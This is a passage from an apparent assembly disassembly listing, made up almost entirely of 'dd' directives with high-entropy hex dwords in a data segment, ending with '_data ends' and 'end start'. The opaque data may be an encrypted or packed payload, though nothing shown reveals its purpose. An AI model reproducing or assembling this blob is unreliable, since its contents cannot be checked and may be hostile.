77166BD2h, 0D12B89E1h, 31B38197h dd 0D6D98B26h, 9B2AB565h, 0EA3CB203h, 51ECF0A6h, 0AA82DEFBh dd 1EFFFA8Ch, 34D64FA3h, 32B68C40h, 89FFEE8Ah, 0E2025891h dd 139DE781h, 0E36E2002h, 2F15ACCBh, 105C3623h, 54D84BFAh dd 8DC4A682h, 76580CE4h, 0DE8679D9h, 86825F55h, 0C1E95EAFh dd 73EC289Ah, 0CA271B9Bh, 0D2A26E84h, 44887AE2h, 0CA510CCDh dd 1EF27A66h, 0C913A06h, 76801C1Fh, 0AD3B6A40h, 260C4CA7h dd 0E371BB0Dh, 1CDEF048h, 43F97C8Dh, 67C9D16Eh, 0BC6D3846h dd 1780650Ah, 0DA259EE1h, 425EB3C5h, 0E69FD376h, 9900CB5Ah dd 0B726EC80h, 0E19DCE67h, 25479731h, 0AA9A7717h, 19780151h dd 69C6643Ah, 0E2CF1943h, 2DA29E00h, 8D3E17FFh, 0D4E86B5Ch dd 7876162Ch, 7DAD27Bh, 0CD1E2183h, 87DBDEC2h, 1C018DA8h dd 0ED51CD66h, 0A71B630Eh, 1C68E00Bh, 0FBC1B42Ch, 0CFEEBA87h dd 0EF7A36C7h, 227B9F52h, 0FA63D32h, 0C41666DDh, 7058D432h dd 0B435B2D3h, 0F4F5B32h, 8FCBE948h, 2015FEB0h, 0CAD70271h dd 19694948h, 3A33EADh, 217F09DEh, 0EA13EAF7h, 3255F01h dd 224E9E89h, 1E113701h, 5522A011h, 0FBD6ADDCh, 36CB52E0h dd 0EB059122h, 0C12861E5h, 0F3CC9ADh, 0BC841AB5h, 0B8AD25ECh dd 82F5AC3Fh, 596BAE7h, 0F3EF68D1h, 0B6FD5203h, 0A01C3884h dd 0D3523557h, 4AFC6017h, 6620E59Dh, 9C61235Ch, 49760AD3h dd 0AC7A40CEh, 0D42C12AAh, 0F64D9A5Bh, 6AEE67B9h, 5EC7B9D7h dd 5E4993C5h, 5A684453h, 1A4684B2h, 0DEDC2A65h, 0FCB76ADAh dd 476BC32Dh, 0F172D0F0h, 0CFF51B7Ch, 58F34976h, 0E1819616h dd 0DE9994Ch, 26D1A365h, 72336432h, 95FD9A84h, 19419774h dd 0B23EBD06h, 0A380D341h, 0BA276387h, 949A2D74h, 1863ED9Ah dd 0AD320E62h, 112FDC9h, 62CF98E5h, 0C0819818h, 3BF89538h dd 37EB07E7h, 0CC03E358h, 7C81F1E3h, 1CCE0B9Ch, 0A359D93Bh dd 4B37D411h, 8649825Ah, 0A87893Ah, 5D2C9134h, 29E2C13Ch dd 21A8CC4Fh, 0A74DE4B6h, 0E925EB37h, 776CD63Dh, 3FED0D16h dd 18F14455h, 84804192h, 0FCBEE5F0h, 62EF2925h, 0ACBFA1D0h dd 8FA8924Ch, 33CCA331h, 0C60D134Bh, 93ADA0EBh, 0CBCAE713h dd 6E2D374Fh, 71D97953h, 6BF299A5h, 62E79D8Bh, 9ED91444h dd 38FA1C2Dh, 77E51F4Dh, 0A1DBD305h, 3C4781E9h, 0F0BBFB6h dd 7D79039Fh, 0BDE568F4h, 7C55EB9Eh, 5C5160E7h, 0DB11E19Dh dd 3B496538h, 0A571A7FFh, 6E2C1A83h, 0EF454914h, 32CC895h dd 1D725E2Ah, 0A3D9AE02h, 0D7BE7ADEh, 0FF453D2Fh, 9A5253BDh dd 2AFEEF2h, 9315D401h, 0D3C1EB5Dh, 1C166AECh, 0AF1F422Ah dd 76F4136Ah, 0F165AD5Dh, 9A7BE9C9h, 0F71103D5h, 3186BB31h dd 3C09336Bh, 89D22BCBh, 7BE599ACh, 7D7B848Ch, 1C04DBDEh dd 88B4ABA1h, 0AA9F4DAEh, 0DC3415Fh, 0E57DC0CFh, 4F296784h dd 5E94D7E8h, 1C1629A9h, 3C5AD7A8h, 6A0492F1h, 63437ABBh dd 11134F9Ah, 2DCE066Dh, 0E0BF1F43h, 8B0A3E71h, 74118FFAh dd 0D14C2B82h, 409299EDh, 63FC961Dh, 0A69BB3B0h, 37E0BDF2h dd 9D7E6B4Dh, 6CEC535Ah, 90FA2991h, 831CBF9h, 89D3A652h dd 60B1161Fh, 0C72D36CDh, 0A03DDDF9h, 8384A751h, 0E257947Dh dd 0A46F85F3h, 0C08D85B9h, 0AE03082Bh, 0C3C00BC7h, 33AB678Dh dd 2FDD9602h, 8C940C9Ch, 0B0F7BC82h, 6E4CA161h, 0DF938189h dd 5BBE0D55h, 8F7C3F86h, 0C18C9645h, 0D986E5E0h, 95BFFF12h dd 0DC1C1E32h, 485BA434h, 49F56687h, 34F60091h, 79EB1096h dd 5114468Dh, 526B4102h, 0F9493DC9h, 14005CF9h, 0D3F068D0h dd 0D2C92437h, 2662BA9Bh, 38EB1323h, 0CD6347ECh, 9219BF31h dd 4B71D029h, 0DE549911h, 0CE282FB0h, 4353D729h, 0C66EF97h dd 3BC34281h, 0BD3D9083h, 0B357EC45h, 9176BC85h, 565922ECh dd 13920049h, 0D3000AE8h, 56688748h, 0AE435CDAh, 65C13A15h dd 6B46CFC5h, 5FD39810h, 8BF81050h, 0CDA0DC45h, 742E223Dh dd 0F8F518B7h, 0E74CC6D6h, 6A904E17h, 4A4E7947h, 71E883D4h dd 0F0D272F1h, 0A9DE4FDEh, 0F23D65C4h, 1B05F592h, 9E85B2B4h dd 5E81CD3Fh, 0ED2B0E68h, 0FBBF2377h, 7F674904h, 5CE69F31h dd 7C39A5D8h, 0C6FFF2F3h, 1D97FEECh, 6DB63642h, 85294B35h dd 0FF37329Ah, 2C0EC590h, 92F33953h, 50635D7Ch, 1984BAD4h dd 12F98334h, 19A17AE6h, 5F6CE089h, 9A90BC20h, 34B95C7Ah dd 80A11B28h, 60177F1Bh, 5363830Eh, 401E9BB4h, 8C5BFE53h dd 18ACE2CFh, 116C5C62h, 2584DBCh, 0E2CB6335h, 411CBE0Eh dd 0D6A4AEBFh, 2A4B9CEBh, 91B42296h, 0AB05ECEDh, 5DD7053Eh dd 0F03CAE70h, 1B8D479Fh, 0DA4E1D4Ah, 0EB8AC499h, 0AA6E2713h dd 0F54BAB73h, 0EAE76C73h, 4F231F8Eh, 0A6E7041Fh, 0A48EC3FEh dd 851C766h, 0F0010065h, 0CE074DEFh, 0B0A3A533h, 2D6BD09h dd 0A482F8h, 7F223A9h, 0BC280F75h, 63D5A0B1h, 0B58302E6h dd 0D512FC46h, 0D1E99A87h, 6D443D0Ch, 42A0B9EFh, 4A2313BAh dd 7298F8h, 59A6E435h, 0B83EC4A6h, 2762EE3Ah, 7568E4ACh dd 965A5587h, 0B96AFACEh, 401FE9Dh, 0FDDC1548h, 0BE3520Eh dd 7A71CA69h, 0BAB92AFAh, 0CC529C54h, 8DDD181Fh, 9F3AAEBFh dd 0E8EEFB8Eh, 73046687h, 0AE39EEC1h, 298C47F0h, 0D3F7A346h dd 96CE9FFFh, 0C1497E1h, 30E8405h, 6348F97Eh, 80795CD0h dd 9BBC0034h, 606E78C1h, 95F75DB1h, 745B6CF4h, 68C5C006h dd 4C14F5E1h, 0B83FB0AFh, 4BB4D476h, 0C4CB812Ah, 30EA62C3h dd 603E9E5Ch, 0D30F10C3h, 0DF8D65B3h, 230BA0F3h, 5397CF99h dd 0C6B2582Dh, 0E6993B06h, 6054CF91h, 6C876A65h, 52CC48h dd 0D8768972h, 2FB5727Bh, 9F419B65h, 0EC4825A4h, 4202C88Ch dd 0F459306Eh, 68E92084h, 48A5733Dh, 9FE4BDCCh, 6ADA95FCh dd 0E5EA85F3h, 7D68FEA1h dd 6ECB4571h, 0EF707B29h, 447BCBEFh, 7DDA9F81h, 0AC5BCF6Eh dd 0EB739474h, 2BB891BEh, 33F82B15h, 0CBFC49Ch, 0F5A796E3h dd 95B193D1h, 566148E8h, 0D650D967h, 9F67C6E1h, 76D8517Fh dd 0BAFA2F64h, 0D095D429h, 3DC4B03Ch, 4F22E99Bh, 0BAB118C7h dd 9851EE09h, 44C2E8A6h, 0E7F1E2C8h, 0DB10D5CDh, 7214BDB5h dd 0D8C77AB5h, 6048A70Ch, 49141153h, 6D31A284h, 0B7C5D373h dd 993A9492h, 7D2C6E7Fh, 2853A020h, 542F160h, 7B178758h dd 0B4E5E7D1h, 268A22F0h, 0B70B7AD0h, 0B0C887C9h, 36DCC302h dd 0E53D8024h, 19C51769h, 2BE01654h, 0D858089Eh, 0E79D514Ah dd 0A9EC7D79h, 4E95B01Ah, 409511CFh, 59274C53h, 0DF4DA59Fh dd 0D4DACAFEh, 0FEB7352Ch, 0E6FDAEE8h, 0C840482Dh, 108DE398h dd 5D2A20EFh, 4596EB09h, 0E7ABD1F0h, 0C577EEE6h, 0D912B0C9h dd 0AB9972F2h, 264C4EC7h, 0E9A2BDB4h, 0C12960C3h, 0F8FE99CFh dd 8FC6FC98h, 9CD16AB5h, 0FAD8B04Eh, 166E9F35h, 0AA7B6ED5h dd 0A5C1A768h, 0D2B1B485h, 0CCAF5093h, 44A925B6h, 0F7284BDEh dd 0EB484B40h, 5ED71EAAh, 664E3A32h, 35013679h, 0F286FA6Fh dd 1997784Dh, 1922E82Ah, 0F7088AF0h, 8AB9E634h, 0CB3EDBE3h dd 8C861017h, 0FE06C5F2h, 75180402h, 0CD46A6CBh, 84D45BD4h dd 0AAA124BDh, 0F046C675h, 0FE98C550h, 69F90F1h, 6536DBBCh dd 46DD9A4Ch, 11E5459Fh, 3B34D219h, 1050BD25h, 6BD04C62h dd 0CBED3275h, 1EEA80CFh, 737EE841h, 0AC5FC092h, 67B4737Eh dd 0B7EFB3C5h, 0D5EDD8C2h, 0CB1318B8h, 0DA9E0C0Ah, 0D794B480h dd 305CBFEAh, 0DE34FBFBh, 0D6C3E08Eh, 0FB5C6288h, 1717C6FFh dd 5A819E24h, 9D359C09h, 331CE4CBh, 8C4E9FD3h, 0B4E84AACh dd 86406AEBh, 46FBC6A5h, 60081D26h, 9F84420Eh, 0CA349C9h dd 657F023h, 0FA4CA14Bh, 98672DE9h, 0B42B9805h, 0D8FD02D2h dd 8950965Fh, 0A2F9B6Ah, 0E5652C7Eh, 0FE5EF103h, 0EB298545h dd 0CC650DF0h, 6E186C68h, 2F21B7E5h, 1374573Ch, 8488FEB9h dd 0EE43DA93h, 29277EABh, 202A3B1Eh, 7E07A148h, 59F93215h dd 0DF64B4DAh, 6D39498Ah, 17B172AFh, 2186212Bh, 5CEF435Ch dd 8064021h, 3B7CDD42h, 77323507h, 5F7BC204h, 8320A633h dd 3BA8D61Fh, 397EA07Fh, 0C1C0E8A9h, 0CCF01342h, 0A20D5B2Ch dd 192B803h, 70017C7Ch, 0CD3BFB7h, 0B2960297h, 1C61A8DEh dd 0C89BCCDh, 0EE34956Eh, 0A29F3D93h, 3D11B1C7h, 64DCA472h dd 24D052B3h, 0DD71DD94h, 4B5460E4h, 0D36E65BFh, 4FABB2FAh dd 0E4B20D4Bh, 540C77CAh, 4FBBB86Fh, 6C16C062h, 0E5F61822h dd 57E3C965h, 732EFBFCh, 1D67616Ch, 0DE551804h, 21042B9Eh dd 6E16613Ch, 1C1AE54h, 813D2E7h, 7C0D7D29h, 8418C891h dd 8C9EEC99h, 0CCFEFDE8h, 0EE94F19Bh, 5DFB5022h, 8A83903Eh dd 79499D2Fh, 0CF330551h, 2B0870D6h, 8B66AD0Ch, 0EDFC7E6Fh dd 70D8CE7Ah, 5C513917h, 0F9687B4h, 592BD97Ch, 756ED14Fh dd 2487B5F2h, 168357E3h, 62034C68h, 975E185Fh, 1A41E961h dd 0D89BAC7Ch, 889B55C2h, 70355C3Fh, 0AF200054h, 8B1F0C5h dd 63857A94h, 43210A00h, 0C349C980h, 8F3E6A37h, 0D8C85474h dd 315C8EC4h, 0E6DAA670h, 0E3EA179Ah, 29D06A55h, 0F95EBAB9h dd 69903997h, 8599BA7Eh, 798C22ECh, 0A65F861Bh, 0A14A56ABh dd 38BD9419h, 0E3515B2Ch, 397185D8h, 54EFD44Dh, 26017E3Eh dd 104BAA75h, 1A29A630h, 811102AFh, 27575EC7h, 0D3A6D548h dd 0A22C68E9h, 0E9673D03h, 0F850C9F0h, 0B71FB8FDh, 83A7F3C2h dd 0CE36147Bh, 0A8AC83E9h, 0D7A6E8D4h, 0DD99BDFFh, 645600C8h dd 5655BA8Ch, 0F366BE32h, 0B2600758h, 24E69A5Fh, 7A2A7F36h dd 9163D96Bh, 3343063Ch, 0FE903BE8h, 84073636h, 0EF15C289h dd 0F0AC0228h, 1A2E7DE7h, 0A1040317h, 0A60CB782h, 0C38BAF5Dh dd 192207EEh, 82FDF25Eh, 0D286E9C5h, 0FAF0409Bh, 0C7FC4E58h dd 0CFD058A7h, 7E385555h, 0C1C554B3h, 0BD77968Bh, 492E13E5h dd 43CEE1BFh, 5D52B093h, 7AC1EA97h, 0C34D6309h, 9B6A6FB7h dd 8E4F702Ah, 0A13B6647h, 57D6F0DFh, 9C0B4AEEh, 0EC58D857h dd 1E90EBA7h, 1A52F077h, 5F9FB124h, 0C6CD7BB0h, 0D035707h dd 3D7D3D8Dh, 0E0984C58h, 43C2322Eh, 52DC62B4h, 2CF039B8h dd 0CDA1D986h, 0CBE78461h, 0ED88DED9h, 271CC270h, 3C718E8Eh dd 4895F3D1h, 0BCB0ABECh, 3EBEA64Ch, 0BBF0EC64h, 0EF21E6AEh dd 882364DEh, 652AF9D4h, 0C00C9A1Ah, 0A6D14689h, 6C59CF72h dd 1DC5CEC7h, 28C3FBAFh, 0A0E4D5D1h, 915393B5h, 0BE8B3414h dd 13ECA5ABh, 712F31C4h, 74BB549Bh, 11930F47h, 3F041D5Ch dd 0AF3BCC86h, 7AA3D81Fh, 790F166Bh, 0DF059A5Bh, 2A96B361h dd 6672E9DDh, 4F708D46h, 0AFF3C103h, 162C9E78h, 93A139EBh dd 0CB1D09C1h, 0E4422E22h, 152FF463h, 8F57BB8Bh, 30F39F6Ch dd 0FDE4CE3Fh, 3A4C1B86h, 0A2BB6D49h, 1EAF2D2Ch, 0F0559E79h dd 0A25094Ah, 44EF8E88h, 5FDF021Eh, 0DFD9E5F2h, 0C61CAF50h dd 60A5F3F6h, 0B88A2CE6h, 758E8A69h, 26938A9Ah, 189FF0DEh dd 7793CF2Dh, 0FC1C6E1h, 87016D99h, 0DD6402D2h, 0AD55E38Fh dd 0A7EFCBB7h, 847411A4h, 6FE3A16Ch, 0EF5B9618h, 0FAB4B790h dd 92A4EE23h, 102075F8h, 1C1BFF07h, 8192BCA3h, 1C8C8D2Bh dd 0CE16AB27h, 6C33B037h, 0B075987Bh, 0CA1A4D06h, 61CA5585h dd 6971EC70h, 2E47A442h, 0A552F86Fh, 0FCD12522h, 0E3FFD7D3h dd 69EE0DA9h, 545884C7h, 0C9BD7515h, 80584174h, 144BB0F8h dd 0AAC6FD35h, 0C908C96Ah, 5035DFA5h, 0FAD38524h, 0CB199A41h dd 0F068E46Fh, 5EA1D37Ch, 780C1683h, 7D14B4C2h, 9DA81495h dd 0EC5474D7h, 0FE8A2140h, 0BD9EB31Bh, 0C2B40165h, 4D354F6Dh dd 0AE8373EBh, 0FAC103ECh, 0E4C0D590h, 0F560147Ah, 5B27D462h dd 3A246EFCh, 0EA668A8Bh, 61FBD91Dh, 2D80770Fh, 4141222Dh dd 3C0854A8h, 7530E5BDh, 0A2F47497h, 0E42429EFh, 5C422D25h dd 8E671DF8h, 1E4590EBh, 0EB5957CDh, 0B8283A5Ah, 5F0E3650h dd 0C32C37Ch, 1507E29Bh, 1F52DBE0h, 4E9EC10Ch, 0D9F31865h dd 1D9D7F6Bh, 7297E940h, 299ED33Bh, 0DCCDB18Eh, 13D9BF66h dd 23C4DD00h, 2AF897E1h, 927F5001h, 0FDE5C470h, 42CF81ABh dd 5A86103h, 1EDAE4B9h, 977DA331h, 9571FF18h, 28646115h dd 97DB9396h, 7EF682Ah, 19D80AD3h, 40F44C72h, 3BC14561h dd 0C7CC51B8h, 3501675Bh, 27521CEEh, 0AA357E5Ch, 8CDA5C63h dd 154E0107h, 0C9DE07E7h, 3B1F37B4h, 0C5F91F4Eh, 4608BC3Bh dd 321290B7h, 0B159E459h, 9F08548h, 6D3E0366h, 42BDBFE9h dd 2438B357h, 1BDDD68Ah, 0C34A85Fh, 6A43E4A2h, 54F5D5F0h dd 76D6501Dh, 944033E7h, 60EB3059h, 0B16CDE14h, 7B37B019h dd 0CF65F32Dh, 8032A389h, 0A452274Ah, 6D8A53A4h, 674E2AD5h dd 0D7024E39h, 6A56D262h, 0E37601CEh, 27011B25h, 84CDFD28h dd 8A6350B0h, 0D7885414h, 0BFCD813Dh, 31A5E27Ah, 0FA1A904Eh dd 0AEB00D5Bh, 0DAEE7692h, 108712ADh, 0CF1A0ACAh, 7B1F2021h dd 6F5EC1FBh, 0BB5DF708h, 4FC16632h, 0C04F8A2h, 7BDC175h dd 1CDBC3F4h, 190C7A3Bh, 0F698A408h, 7E36B196h, 6D51871Dh dd 6D107D0Ah, 886A7E93h, 0BDF53F09h, 3DC75BAh, 44D393A7h dd 0AD4F7DB8h, 0BE7DCF47h, 7BE0F7B7h, 0A8816F50h, 5908D259h dd 2A503491h, 0D2C8C52Ah, 2A9AF4C5h, 0A7146946h, 9A2D2EF2h dd 38BFB1C5h, 17623986h dd 43BAF1C0h, 5D7CB5A8h, 5E492D25h, 72D93DC3h, 456BD1Fh dd 545EC38Eh, 0E0BFDF9Eh, 0A9A5F0Dh, 8864D72Fh, 0DDC2244Bh dd 0D6278DC6h, 2DACF2A4h, 0E1FBFCBEh, 0EA47CF0Ah, 8D0BF91h dd 0D5991D8Dh, 768E0148h, 5F2F6672h, 2ABC47B0h, 0BD2E707Dh dd 0F4B003C3h, 7773A8F3h, 3089CADDh, 2DCF1B43h, 25E29008h dd 0F346C305h, 0AD0BAC6h, 939BAB16h, 3D273340h, 0DBF5B2AAh dd 0B77154Eh, 5492699Eh, 0E398BD8Dh, 0C7FFD470h, 0A62D8EDDh dd 2DA1D066h, 0E7F44B1Bh, 53B9638Dh, 6276841Dh, 66F9CDD6h dd 59B12E9Eh, 92ECD3CEh, 50BB6FB7h, 28093959h, 6E7D9767h dd 20D8AA78h, 0D80E6BEBh, 0B6A1A1E1h, 6B8BDD49h, 20E1CD68h dd 65D0EAEBh, 0EAA2752Ah, 59A085AAh, 35D4EEh, 0B9E7AF16h dd 22D9BEACh, 6DCBB27Eh, 22C889E8h, 37524F97h, 0B560BA7Fh dd 85483976h, 6160449Bh, 0AD81DFA2h, 899E58EAh, 0D4F6A050h dd 14AAD13Ah, 34BEC535h, 0C8E0E4DFh, 0EA49ECB1h, 0DFFE7425h dd 0C5FCA37Ah, 0D4885A20h, 1BC5F080h, 0F93F069Ah, 0BF6CECBFh dd 7276507Bh, 5270CFD7h, 659793D1h, 0C780F850h, 480C5B57h dd 0A61FD68Bh, 17113360h, 0D5DF23DCh, 1A1B2C4Fh, 2BD15752h dd 8670DA90h, 7CFB310Fh, 8788C6C0h, 0FC36541Ch, 0E0556B05h dd 451FFB95h, 1EB8E032h, 0D8E68D97h, 748F4013h, 0EA24F01Ch dd 6DA370D3h, 397252D7h, 64758BC7h, 94FBB54Bh, 1D1E1B45h dd 60CEE0B3h, 0AB2B35Ah, 0E147E661h, 51F79BDDh, 0C4134A03h dd 2C74C490h, 0F8FF08DAh, 3AC83951h, 67B970E3h, 22AD7A4Fh dd 0EBB5DC4Bh, 0BAF03900h, 8A6DBC7Dh, 0ABE3ADD6h, 1F0ECB6Eh dd 112C155Ah, 0B1212596h, 4B31370Eh, 148FBABh, 6BDCBE21h dd 9B98321Ah, 73252E80h, 5063CC2Eh, 2D6FD17Dh, 8800D2E9h dd 4C01EB2Bh, 0BB81F1F6h, 58D14004h, 1E927CC5h, 0B4F006CCh dd 177D8B3Bh, 0ECEF139Ch, 777DA16Ah, 0D716787Fh, 7FA85039h dd 19ABE5E5h, 4EDC74Fh, 4C77DA5Eh, 0D6E538ECh, 9030B69Ch dd 0C2BCF4B5h, 2FF80318h, 859D5830h, 7CA6E349h, 376399FDh dd 0E0F5C69Ch, 0F4F7167Dh, 0D63FC2DFh, 52F5CE8h, 0D5F0378h dd 5091D728h, 69967A77h, 0D8160748h, 0E7B411D6h, 0C3BE93Eh dd 1F34F255h, 0DAA7409Fh, 4C99BA8Fh, 841FF461h, 9FBB602Fh dd 6EDECEB3h, 0C527E2D8h, 38CC3083h, 0E243A2Eh, 1F3DDEB7h dd 12FB1962h, 0C1083658h, 0D0F20C7Ch, 4E8B2A3Eh, 0F4222C25h dd 0DA46E3D9h, 6FFB2FADh, 3E7AA639h, 6C06DD1Bh, 0F9E76B55h dd 99535BCAh, 3890A54Ch, 3AFA9382h, 3B47D0C8h, 1EB71D81h dd 743F18ACh, 3E25F02Eh, 46E2C815h, 93B82107h, 709BF19Fh dd 0A71CA119h, 47921766h, 5033BC13h, 5E7A58F4h, 0DF7D07B9h dd 1486AAEBh, 9ECE1045h, 890FC7D2h, 0E6928BF1h, 0A052546Bh dd 9B4F0781h, 32618B06h, 5E83E079h, 675FE320h, 7835936Ch dd 6FC805B3h, 0B9C0E349h, 56109Eh, 0AEC466CBh, 0ADAB4BEDh dd 64D43616h, 945A7FFBh, 47DED2D1h, 0DF942040h, 0D5F7C1D8h dd 0C4CF8922h, 152D2237h, 69950E5Ah, 0EA0F6EDDh, 0ED8096A9h dd 9B8B8841h, 7F4512B3h, 0A098A558h, 6C131E7Eh, 0D76113E3h dd 0AC224A0Ch, 7EA5AD8Eh, 0EDC382BCh, 0A6D08C28h, 20629B61h dd 0AEC2369Dh, 0DC3C2B4h, 0C5688D3Eh, 79E5638Ch, 0B228EB33h dd 49D317AAh, 0F585C635h, 89E5DDE6h, 117366C5h, 0DFC108Dh dd 0B5D38D36h, 45DF4F1Bh, 7F33439Dh, 0F5E41F4Eh, 0D6DC3BD7h dd 0D1351276h, 0BED5910Dh, 851321Dh, 206BBF5Dh, 5F21C9F7h dd 228FC1FFh, 504D81DCh, 870948ADh, 0C5BFC4B2h, 65B866B6h dd 0B145266Bh, 5068EFF4h, 66263275h, 0AA0CAA84h, 0C7DB28F5h dd 0E6207331h, 285BCD9Eh, 63DE2FAh, 3AF328C4h, 0CA8D35DEh dd 0F465ED16h, 822EB2B9h, 2B9B9910h, 15611E1Ah, 0E4813BE2h dd 79986361h, 85AC7E4Dh, 20C97C82h, 0DB4787C6h, 621064F3h dd 0A6A53833h, 8AFE362Ch, 0ED4D0E20h, 6FC46018h, 368EC5C1h dd 0FB39F443h, 88AFFB52h, 0BCA507DAh, 8859BF4Fh, 3715DB47h dd 0BA56291Eh, 0E26929Bh, 26E40CE3h, 5805BD5Ah, 736224B4h dd 1278ED9Fh, 446CF5C0h, 26F92F64h, 50048A1h, 970F09C5h dd 0C60CE0D0h, 0E7D2B433h, 0EABB37ADh, 7DB4423Ah, 0DD06D117h dd 0D9B1DB8Ah, 2CF64788h, 0AFE8163Ah, 2D8A1716h, 991D80E4h dd 921841E8h, 0ADD28988h, 0E8451F6Dh, 0B464BB06h, 0FFD3B9DBh dd 71E8E0A9h, 0D86A7553h, 0DB6775D7h, 0F0E61872h, 0C85D536Ch dd 0CD6F24DCh, 6D0EFA5Fh, 86EB0737h, 0A459AAFCh, 8F087DD0h dd 6E80D68Ah, 8D23B615h, 28A84043h, 0ABD8B8C2h, 6A0C404Ch dd 0F7FCD442h, 0AB3D4C0Dh, 8C53043Fh, 0B71AD2F8h, 0B7F32621h dd 566A7E8h, 6A822142h, 19DC9ADh, 711FCB68h, 0A28EF3E5h dd 4841529h, 97AE1ABDh, 56695BFDh, 3D42F608h, 0AFE38808h dd 0DDEB514Dh, 6FDC2340h, 0A9056F3Ah, 0E06642C2h, 0CDC7036h dd 0E80629B5h, 889A8DFBh, 78D74882h, 0A0697244h, 1424931Ch dd 0FF572FE2h, 0FB17A0F3h, 0BD7CB0E4h, 0B5A17F27h, 0A0447920h dd 7BB9AE26h, 0D4D401E7h, 0EADB367h, 5E7F22C2h, 0A48E9025h dd 4ED63F55h, 0E210D839h, 12B1262h, 85013796h, 2B468D76h dd 69289190h, 0C3CA91A7h, 2AAFC6F8h, 0F7D70E1Dh, 0BF8B977h dd 8AF6BBBFh, 0EE1B12B9h, 1FF81A7h, 57879F94h, 0D5B2B0D2h dd 23A2496Dh, 0F7576ADFh, 9D895D34h, 700DDC7Eh, 0D2B839E1h dd 8A339698h, 46B7D1E1h, 6E3A6D76h, 0BFE6B44Fh, 0B2226A0Fh dd 37A40380h, 4CA1AD82h, 7AECBBA7h, 0A5FA1435h, 137CCF1Ah dd 25543E69h, 0A22A636Ah, 0BAF78D32h, 3E35995Ah, 0F449F8ACh dd 3C76BEEFh, 0B45D7007h, 0EB822CD1h, 3EC6FF44h, 1Fh, 0E1h dup(0) dd 64000000h, 58295E2Fh, 4B805122h, 7377457Ah, 44454F4Fh dd 386D3F74h, 2C613267h, 1F54265Bh, 77487D4Eh, 2D314145h dd 71422A77h, 64356A3Bh, 58295E2Fh, 4B805122h, 0DFD9457Ah dd 0EEECECE8h, 76B7E0EEh, 0D05494Ch, 7DC9F2AFh, 2986581Ch dd 700h dup(?) _data ends end start